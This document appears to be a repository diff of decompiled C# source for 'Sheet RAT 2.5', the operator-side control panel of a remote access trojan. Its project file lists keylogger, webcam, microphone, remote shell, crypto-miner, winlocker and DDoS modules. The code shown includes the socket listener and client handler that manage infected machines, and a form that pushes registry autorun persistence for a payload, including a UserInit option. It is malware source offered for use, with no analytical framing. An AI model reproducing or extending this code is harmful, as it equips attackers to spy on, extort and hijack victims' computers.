<Compile Include="Server\Helper\Configs\FreendConnect.cs" />
|
||||
<Compile Include="Server\Helper\Configs\SendFromDisk.cs" />
|
||||
<Compile Include="Server\Helper\Configs\SendFromLink.cs" />
|
||||
<Compile Include="Server\Helper\Configs\SendNewLogToDiscord.cs" />
|
||||
<Compile Include="Server\Helper\Configs\ActiveWindow.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Hwid.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Country.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Group.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Privilege.cs" />
|
||||
<Compile Include="Server\Helper\Configs\GpuForMine.cs" />
|
||||
<Compile Include="Server\Helper\Configs\CameraTrue.cs" />
|
||||
<Compile Include="Server\Helper\Configs\BulidStatic.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Bulid.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Map.cs" />
|
||||
<Compile Include="Server\Helper\Configs\Themes\Customs.cs" />
|
||||
<Compile Include="Server\Forms\FormMessage.cs" />
|
||||
<Compile Include="Server\Forms\FormMinerXmr.cs" />
|
||||
<Compile Include="Server\Forms\FormWinlocker.cs" />
|
||||
<Compile Include="Server\Forms\FormSendInMemory.cs" />
|
||||
<Compile Include="Server\Forms\FormSpeakBot.cs" />
|
||||
<Compile Include="Server\Forms\FormClipboard.cs" />
|
||||
<Compile Include="Server\Forms\FormChat.cs" />
|
||||
<Compile Include="Server\Forms\FormFreendConnect.cs" />
|
||||
<Compile Include="Server\Forms\FormFun.cs" />
|
||||
<Compile Include="Server\Forms\FormMinerEtc.cs" />
|
||||
<Compile Include="Server\Forms\FormAddAutoRun.cs" />
|
||||
<Compile Include="Server\Forms\FormAutoTasksAdd.cs" />
|
||||
<Compile Include="Server\Forms\FormDDOS.cs" />
|
||||
<Compile Include="Server\Forms\FormMap.cs" />
|
||||
<Compile Include="Server\Forms\FormAutoRun.cs" />
|
||||
<Compile Include="Server\Forms\FormProgressBar.cs" />
|
||||
<Compile Include="Server\Forms\FormRegedit.cs" />
|
||||
<Compile Include="Server\Forms\FormRegValueEditBinary.cs" />
|
||||
<Compile Include="Server\Forms\FormRegValueEditMultiString.cs" />
|
||||
<Compile Include="Server\Forms\FormRegValueEditString.cs" />
|
||||
<Compile Include="Server\Forms\FormRegValueEditWord.cs" />
|
||||
<Compile Include="Server\Forms\FormRemoteCamera.cs" />
|
||||
<Compile Include="Server\Forms\FormReverseProxy.cs" />
|
||||
<Compile Include="Server\Forms\FormSendInMemoryLink.cs" />
|
||||
<Compile Include="Server\Forms\FormRemoteDesktop.cs" />
|
||||
<Compile Include="Server\Forms\FormRemoteMicrophone.cs" />
|
||||
<Compile Include="Server\Forms\FormKeyLogger.cs" />
|
||||
<Compile Include="Server\Forms\FormShell.cs" />
|
||||
<Compile Include="Server\Forms\FormService.cs" />
|
||||
<Compile Include="Server\Forms\FormNetStat.cs" />
|
||||
<Compile Include="Server\Forms\FormTaskMgr.cs" />
|
||||
<Compile Include="Server\Forms\ComboBoxCustom.cs" />
|
||||
<Compile Include="Server\Forms\FormTaskScheduler.cs" />
|
||||
<Compile Include="Server\Forms\InputBoxCustom.cs" />
|
||||
<Compile Include="Server\Forms\FormFileManager.cs" />
|
||||
<Compile Include="Server\Forms\Message.cs" />
|
||||
<Compile Include="Server\Connection\Clients.cs" />
|
||||
<Compile Include="Server\Connection\Listener.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="Server\Form1.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\ComboBoxCustom.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormAddAutoRun.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormAutoRun.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormAutoTasksAdd.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormChat.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormClipboard.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormDDOS.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormFileManager.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormFreendConnect.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormFun.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormKeyLogger.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormMap.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormMessage.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormMinerEtc.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormMinerXmr.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormNetStat.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormProgressBar.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRegedit.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRegValueEditBinary.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRegValueEditMultiString.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRegValueEditString.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRegValueEditWord.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRemoteCamera.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRemoteDesktop.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormRemoteMicrophone.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormReverseProxy.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormSendInMemory.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormSendInMemoryLink.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormService.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormShell.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormSpeakBot.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormTaskMgr.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormTaskScheduler.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\FormWinlocker.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\InputBoxCustom.resx" />
|
||||
<EmbeddedResource Include="Server\Forms\Message.resx" />
|
||||
<EmbeddedResource Include="Server\Helper\Notif\Notf.resx" />
|
||||
<EmbeddedResource Include="Server\Properties\Resources.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
Binary file not shown.
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Server.csproj", "{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{01245AF5-2608-43B2-AE7A-BA4CE0C07D0E}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,348 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Connection.Clients
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using Server.Helper;
|
||||
using Server.Helper.Configs;
|
||||
using Server.Message;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Connection {
|
||||
|
||||
public class Clients
|
||||
{
|
||||
public bool Connect;
|
||||
public DataGridViewRow Item;
|
||||
public DataGridViewRow ItemMiner;
|
||||
public bool MiningEtc = true;
|
||||
public bool ddos;
|
||||
public bool thisisrecovery;
|
||||
private System.Threading.Timer TimeOutTimer;
|
||||
|
||||
public event Clients.BytesDelegate Recevied;
|
||||
|
||||
public event Clients.BytesDelegate Sent;
|
||||
|
||||
public Socket TcpClient { get; set; }
|
||||
|
||||
public NetworkStream SslClient { get; set; }
|
||||
|
||||
private byte[] ClientBuffer { get; set; }
|
||||
|
||||
private long HeaderSize { get; set; }
|
||||
|
||||
private long Offset { get; set; }
|
||||
|
||||
private bool ClientBufferRecevied { get; set; }
|
||||
|
||||
public object SendSync { get; set; }
|
||||
|
||||
public DateTime LastPiy { get; set; }
|
||||
|
||||
public string Ip { get; set; }
|
||||
|
||||
public string ID { get; set; }
|
||||
|
||||
public string Reverse { get; set; }
|
||||
|
||||
public string Info { get; set; }
|
||||
|
||||
public string Window { get; set; }
|
||||
|
||||
public string WindowTaskDetected { get; set; }
|
||||
|
||||
public Clients(Socket socket)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.SendSync = new object();
|
||||
this.TcpClient = socket;
|
||||
this.Ip = this.TcpClient.RemoteEndPoint.ToString().Split(':')[0];
|
||||
this.SslClient = new NetworkStream(this.TcpClient, true);
|
||||
this.Offset = 0L;
|
||||
this.HeaderSize = 4L;
|
||||
this.ClientBuffer = new byte[this.HeaderSize];
|
||||
this.SslClient.BeginRead(this.ClientBuffer, (int) this.Offset, (int) this.HeaderSize, new AsyncCallback(this.ReadClientData), (object) null);
|
||||
this.Connect = true;
|
||||
this.Recevied += (Clients.BytesDelegate) (item => Task.Run<long>((Func<long>) (() => Data.ReceivedValue += (long) item)));
|
||||
this.Sent += (Clients.BytesDelegate) (item => Task.Run<long>((Func<long>) (() => Data.SentValue += (long) item)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
this.Disconnected("Init ERROR");
|
||||
}
|
||||
}
|
||||
|
||||
public void TimeOutStart()
|
||||
{
|
||||
this.TimeOutTimer = new System.Threading.Timer(new TimerCallback(this.TimeOut), (object) null, 0, new Random().Next(1000, 6000));
|
||||
}
|
||||
|
||||
private void TimeOut(object Sender)
|
||||
{
|
||||
if (Methods.DiffSeconds(this.LastPiy, DateTime.Now) <= 30.0)
|
||||
return;
|
||||
this.TimeOutTimer.Dispose();
|
||||
this.Disconnected(nameof (TimeOut));
|
||||
}
|
||||
|
||||
public void ReadClientData(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!this.Connect)
|
||||
return;
|
||||
if (!this.TcpClient.Connected)
|
||||
{
|
||||
this.Disconnected("!TcpClient.Connected read");
|
||||
}
|
||||
else
|
||||
{
|
||||
int BytesRecevied = this.SslClient.EndRead(ar);
|
||||
if (BytesRecevied > 0)
|
||||
{
|
||||
this.HeaderSize -= (long) BytesRecevied;
|
||||
this.Offset += (long) BytesRecevied;
|
||||
if (!this.ClientBufferRecevied)
|
||||
{
|
||||
if (this.HeaderSize == 0L)
|
||||
{
|
||||
this.HeaderSize = (long) BitConverter.ToInt32(this.ClientBuffer, 0);
|
||||
if (this.HeaderSize > 0L)
|
||||
{
|
||||
this.ClientBuffer = new byte[this.HeaderSize];
|
||||
this.Offset = 0L;
|
||||
this.ClientBufferRecevied = true;
|
||||
}
|
||||
}
|
||||
else if (this.HeaderSize < 0L)
|
||||
{
|
||||
this.Disconnected("HeaderSize < 0");
|
||||
return;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (this.Recevied != null)
|
||||
this.Recevied(BytesRecevied);
|
||||
if (this.HeaderSize == 0L)
|
||||
{
|
||||
Packet.Read(this.ClientBuffer, this);
|
||||
this.Offset = 0L;
|
||||
this.HeaderSize = 4L;
|
||||
this.ClientBuffer = new byte[this.HeaderSize];
|
||||
this.ClientBufferRecevied = false;
|
||||
}
|
||||
else if (this.HeaderSize < 0L)
|
||||
{
|
||||
this.Disconnected("HeaderSize < 0");
|
||||
return;
|
||||
}
|
||||
}
|
||||
this.SslClient.BeginRead(this.ClientBuffer, (int) this.Offset, (int) this.HeaderSize, new AsyncCallback(this.ReadClientData), (object) null);
|
||||
}
|
||||
else
|
||||
this.Disconnected("recevied < 0");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.Disconnected("Ex read: " + ex.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
public void Disconnected() => this.Disconnected("Other");
|
||||
|
||||
public void Disconnected(string prechina)
|
||||
{
|
||||
if (!this.Connect)
|
||||
return;
|
||||
CustomConsole.WriteLine(CustomConsole.Title.Disconnect, "Disconnect: " + prechina);
|
||||
this.Connect = false;
|
||||
if (this.TimeOutTimer != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (this.Item != null)
|
||||
{
|
||||
HandlerLogs handlerLogs = new HandlerLogs(this.Ip, $"Disconnect Client {this.Info} active window: {this.Window}", Color.Red);
|
||||
Program.form.GridClients.Invoke((MethodInvoker) (() => Program.form.GridClients.Rows.Remove(this.Item)));
|
||||
this.Item.Dispose();
|
||||
Map.RemoveGmapControlOnline(this.ID);
|
||||
Map.AddOffline(Map.search(this.ID));
|
||||
}
|
||||
else if (this.ItemMiner != null)
|
||||
{
|
||||
if (this.MiningEtc)
|
||||
Program.form.Miner.Grid1.Invoke((MethodInvoker) (() => Program.form.Miner.Grid1.Rows.Remove(this.ItemMiner)));
|
||||
else
|
||||
Program.form.MinerXmr.Grid1.Invoke((MethodInvoker) (() => Program.form.MinerXmr.Grid1.Rows.Remove(this.ItemMiner)));
|
||||
this.ItemMiner.Dispose();
|
||||
}
|
||||
else if (this.ddos)
|
||||
Program.form.ddos.Invoke((MethodInvoker) (() => Program.form.ddos.plugins.Remove(this)));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
CustomConsole.WriteLine(CustomConsole.Title.Error, "Disconnect Error: " + ex.ToString());
|
||||
}
|
||||
}
|
||||
try
|
||||
{
|
||||
this.ClientBuffer = (byte[]) null;
|
||||
this.HeaderSize = 0L;
|
||||
this.Offset = 0L;
|
||||
this.TcpClient?.Close();
|
||||
this.SslClient?.Close();
|
||||
this.TcpClient?.Dispose();
|
||||
this.SslClient?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void Send(object message)
|
||||
{
|
||||
Task.Run((Action) (() => this.Send(Encoding.UTF8.GetBytes((string) message))));
|
||||
}
|
||||
|
||||
public void Send(byte[] msg)
|
||||
{
|
||||
if (!this.Connect)
|
||||
return;
|
||||
if (!this.TcpClient.Connected)
|
||||
{
|
||||
this.Disconnected("Send !TcpClient.Connected");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (msg == null)
|
||||
return;
|
||||
string[] strArray = Encoding.UTF8.GetString(msg).Split(new string[1]
|
||||
{
|
||||
"<@>"
|
||||
}, StringSplitOptions.None);
|
||||
if (strArray[0] != "Ping" && strArray[0] != "Pong" && strArray[0] != "P")
|
||||
CustomConsole.WriteLine(CustomConsole.Title.PacketSend, $"Send: {strArray[0]} {Methods.BytesToString((long) msg.Length)} IP: {this.Ip}");
|
||||
try
|
||||
{
|
||||
lock (this.SendSync)
|
||||
{
|
||||
msg = Methods.Compress(msg);
|
||||
byte[] bytes = BitConverter.GetBytes(msg.Length);
|
||||
this.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
this.SslClient.Write(bytes, 0, bytes.Length);
|
||||
if (msg.Length > 1000000)
|
||||
{
|
||||
CustomConsole.WriteLine(CustomConsole.Title.Information, "Big file: " + Methods.BytesToString((long) msg.Length));
|
||||
using (MemoryStream memoryStream = new MemoryStream(msg))
|
||||
{
|
||||
memoryStream.Position = 0L;
|
||||
byte[] buffer = new byte[500000];
|
||||
int num;
|
||||
while ((num = memoryStream.Read(buffer, 0, buffer.Length)) > 0)
|
||||
{
|
||||
this.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
this.SslClient.Write(buffer, 0, num);
|
||||
this.SslClient.Flush();
|
||||
if (this.Sent != null)
|
||||
this.Sent(num);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
this.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
this.SslClient.Write(msg, 0, msg.Length);
|
||||
this.SslClient.Flush();
|
||||
if (this.Sent != null)
|
||||
this.Sent(msg.Length);
|
||||
}
|
||||
msg = (byte[]) null;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.Disconnected("Send Ex " + ex.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void SendFile(object message)
|
||||
{
|
||||
Task.Run((Action) (() => this.SendFile(Encoding.UTF8.GetBytes((string) message))));
|
||||
}
|
||||
|
||||
public void SendFile(byte[] msg)
|
||||
{
|
||||
if (!this.Connect)
|
||||
return;
|
||||
if (!this.TcpClient.Connected)
|
||||
{
|
||||
this.Disconnected("Send !TcpClient.Connected");
|
||||
}
|
||||
else
|
||||
{
|
||||
if (msg == null)
|
||||
return;
|
||||
CustomConsole.WriteLine(CustomConsole.Title.PacketSend,
|
||||
$"SendFile: {Encoding.UTF8.GetString(msg).Split(new string[1] { "<@>" }, StringSplitOptions.None)[0]} {Methods.BytesToString((long)msg.Length)} IP: {this.Ip}");
|
||||
lock (this.SendSync)
|
||||
|
||||
{
|
||||
try
|
||||
{
|
||||
msg = Methods.Compress(msg);
|
||||
byte[] bytes = BitConverter.GetBytes(msg.Length);
|
||||
this.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
this.SslClient.Write(bytes, 0, bytes.Length);
|
||||
if (msg.Length > 5000)
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream(msg))
|
||||
{
|
||||
memoryStream.Position = 0L;
|
||||
byte[] buffer = new byte[5000];
|
||||
int num;
|
||||
while ((num = memoryStream.Read(buffer, 0, buffer.Length)) > 0)
|
||||
{
|
||||
this.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
this.SslClient.Write(buffer, 0, num);
|
||||
this.SslClient.Flush();
|
||||
if (this.Sent != null)
|
||||
this.Sent(num);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
this.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
this.SslClient.Write(msg, 0, msg.Length);
|
||||
this.SslClient.Flush();
|
||||
if (this.Sent != null)
|
||||
this.Sent(msg.Length);
|
||||
}
|
||||
msg = (byte[]) null;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
this.Disconnected("Send Ex " + ex.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public delegate void BytesDelegate(int BytesRecevied);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Connection.Listener
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using Server.Message;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.Drawing;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Connection {
|
||||
|
||||
public class Listener : IDisposable
|
||||
{
|
||||
public string port;
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
HandlerLogs handlerLogs = new HandlerLogs("Server", "Stop Listing " + this.port, Color.Yellow);
|
||||
this.Dispose(true);
|
||||
GC.SuppressFinalize((object) this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing) => this.Server.Dispose();
|
||||
|
||||
private Socket Server { get; set; }
|
||||
|
||||
public Listener(object port)
|
||||
{
|
||||
try
|
||||
{
|
||||
IPEndPoint localEP = new IPEndPoint(IPAddress.Any, Convert.ToInt32(port));
|
||||
this.port = port.ToString();
|
||||
this.Server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
SendBufferSize = 51200,
|
||||
ReceiveBufferSize = 51200
|
||||
};
|
||||
this.Server.Bind((EndPoint) localEP);
|
||||
this.Server.Listen(9000000);
|
||||
this.Server.BeginAccept(new AsyncCallback(this.EndAccept), (object) null);
|
||||
HandlerLogs handlerLogs = new HandlerLogs(nameof (Server), "Start Listing " + this.port, Color.Aqua);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandlerLogs handlerLogs = new HandlerLogs(nameof (Server), "Listner Error " + ex.Message, Color.Red);
|
||||
}
|
||||
}
|
||||
|
||||
private void EndAccept(IAsyncResult ar)
|
||||
{
|
||||
try
|
||||
{
|
||||
Clients clients = new Clients(this.Server.EndAccept(ar));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
HandlerLogs handlerLogs = new HandlerLogs("Server", "Listner Error EndAccept " + ex.Message, Color.Red);
|
||||
}
|
||||
try
|
||||
{
|
||||
this.Server.BeginAccept(new AsyncCallback(this.EndAccept), (object) null);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,99 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.ComboBoxCustom
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class ComboBoxCustom : MetroForm
|
||||
{
|
||||
private IContainer components;
|
||||
private MetroButton metroButton3;
|
||||
private MetroComboBox comboBox1;
|
||||
|
||||
public ComboBoxCustom() => this.InitializeComponent();
|
||||
|
||||
private void InputBoxCustom_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.comboBox1.Theme = Customs.customs.Theme;
|
||||
this.metroButton3.Theme = Customs.customs.Theme;
|
||||
this.Theme = Customs.customs.Theme;
|
||||
}
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.comboBox1.Style = Customs.customs.Style;
|
||||
this.metroButton3.Style = Customs.customs.Style;
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void metroButton3_Click(object sender, EventArgs e) => this.Close();
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing && this.components != null)
|
||||
this.components.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
|
||||
private void InitializeComponent()
|
||||
{
|
||||
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ComboBoxCustom));
|
||||
this.metroButton3 = new MetroButton();
|
||||
this.comboBox1 = new MetroComboBox();
|
||||
this.SuspendLayout();
|
||||
this.metroButton3.Location = new Point(337, 92);
|
||||
this.metroButton3.Name = "metroButton3";
|
||||
this.metroButton3.Size = new Size(64 /*0x40*/, 22);
|
||||
this.metroButton3.Style = MetroColorStyle.Lime;
|
||||
this.metroButton3.TabIndex = 174;
|
||||
this.metroButton3.Text = "OK";
|
||||
this.metroButton3.Theme = MetroThemeStyle.Dark;
|
||||
this.metroButton3.UseSelectable = true;
|
||||
this.metroButton3.UseStyleColors = true;
|
||||
this.metroButton3.Click += new EventHandler(this.metroButton3_Click);
|
||||
this.comboBox1.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right;
|
||||
this.comboBox1.FontSize = MetroComboBoxSize.Small;
|
||||
this.comboBox1.FormattingEnabled = true;
|
||||
this.comboBox1.ItemHeight = 19;
|
||||
this.comboBox1.Location = new Point(22, 62);
|
||||
this.comboBox1.Margin = new Padding(2);
|
||||
this.comboBox1.Name = "comboBox1";
|
||||
this.comboBox1.Size = new Size(380, 25);
|
||||
this.comboBox1.Style = MetroColorStyle.Lime;
|
||||
this.comboBox1.TabIndex = 175;
|
||||
this.comboBox1.Theme = MetroThemeStyle.Dark;
|
||||
this.comboBox1.UseSelectable = true;
|
||||
this.comboBox1.UseStyleColors = true;
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(424, 119);
|
||||
this.Controls.Add((Control) this.comboBox1);
|
||||
this.Controls.Add((Control) this.metroButton3);
|
||||
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
|
||||
this.Name = nameof (ComboBoxCustom);
|
||||
this.Resizable = false;
|
||||
this.Style = MetroColorStyle.Lime;
|
||||
this.Text = nameof (ComboBoxCustom);
|
||||
this.TextAlign = MetroFormTextAlign.Center;
|
||||
this.Theme = MetroThemeStyle.Dark;
|
||||
this.Load += new EventHandler(this.InputBoxCustom_Load);
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,268 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Forms.FormAddAutoRun
|
||||
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
|
||||
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
|
||||
|
||||
using MetroFramework;
|
||||
using MetroFramework.Controls;
|
||||
using MetroFramework.Forms;
|
||||
using Server.Connection;
|
||||
using Server.Helper.Configs.Themes;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
using System.ComponentModel;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
//#nullable disable
|
||||
namespace Server.Forms {
|
||||
|
||||
public class FormAddAutoRun : MetroForm
|
||||
{
|
||||
public Clients clietns;
|
||||
private IContainer components;
|
||||
private MetroButton button1;
|
||||
private MetroLabel metroLabel1;
|
||||
private MetroLabel metroLabel2;
|
||||
private MetroCheckBox MyFile;
|
||||
private MetroLabel metroLabel3;
|
||||
private MetroTextBox Path;
|
||||
private MetroTextBox RegName;
|
||||
private MetroComboBox RegPath;
|
||||
public Timer timer1;
|
||||
|
||||
public FormAddAutoRun() => this.InitializeComponent();
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (string.IsNullOrEmpty(this.RegPath.Text) || string.IsNullOrEmpty(this.Path.Text) || this.RegPath.Text != "UserInit" && string.IsNullOrEmpty(this.RegName.Text))
|
||||
return;
|
||||
this.clietns.Send((object) $"Add<@>{this.RegName.Text}<@>{this.Path.Text}<@>{this.RegPath.Text}");
|
||||
this.Close();
|
||||
}
|
||||
|
||||
private void FormFileAddAutoRun_Load(object sender, EventArgs e)
|
||||
{
|
||||
if (Customs.customs.Theme != MetroThemeStyle.Dark)
|
||||
{
|
||||
this.Theme = Customs.customs.Theme;
|
||||
this.RegName.Theme = Customs.customs.Theme;
|
||||
this.RegPath.Theme = Customs.customs.Theme;
|
||||
this.metroLabel1.Theme = Customs.customs.Theme;
|
||||
this.metroLabel2.Theme = Customs.customs.Theme;
|
||||
this.metroLabel3.Theme = Customs.customs.Theme;
|
||||
this.Path.Theme = Customs.customs.Theme;
|
||||
this.MyFile.Theme = Customs.customs.Theme;
|
||||
this.button1.Theme = Customs.customs.Theme;
|
||||
}
|
||||
if (Customs.customs.Style != MetroColorStyle.Lime)
|
||||
{
|
||||
this.Style = Customs.customs.Style;
|
||||
this.RegName.Style = Customs.customs.Style;
|
||||
this.RegPath.Style = Customs.customs.Style;
|
||||
this.metroLabel1.Style = Customs.customs.Style;
|
||||
this.metroLabel2.Style = Customs.customs.Style;
|
||||
this.metroLabel3.Style = Customs.customs.Style;
|
||||
this.Path.Style = Customs.customs.Style;
|
||||
this.MyFile.Style = Customs.customs.Style;
|
||||
this.button1.Style = Customs.customs.Style;
|
||||
}
|
||||
this.Refresh();
|
||||
}
|
||||
|
||||
private void MyFile_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
this.Path.Enabled = !this.MyFile.Checked;
|
||||
if (this.MyFile.Checked)
|
||||
this.Path.Text = "%Payload%";
|
||||
else
|
||||
this.Path.Text = "";
|
||||
}
|
||||
|
||||
private void timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (this.clietns.Connect)
|
||||
return;
|
||||
this.Close();
|
||||
}
|
||||
|
